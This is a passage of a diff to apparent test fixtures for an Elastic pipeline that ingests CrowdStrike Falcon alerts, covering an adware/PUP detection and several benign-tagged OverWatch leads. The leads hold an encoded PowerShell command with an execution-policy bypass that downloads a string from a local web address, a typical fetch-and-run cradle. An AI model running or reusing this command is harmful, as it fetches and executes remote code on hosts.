-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_name": "SOMEHOST",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "SOMEHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "SOMEHOST"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ]
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_name": "SOMEHOST",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "SOMEHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "SOMEHOST",
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "OTHERUSER"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
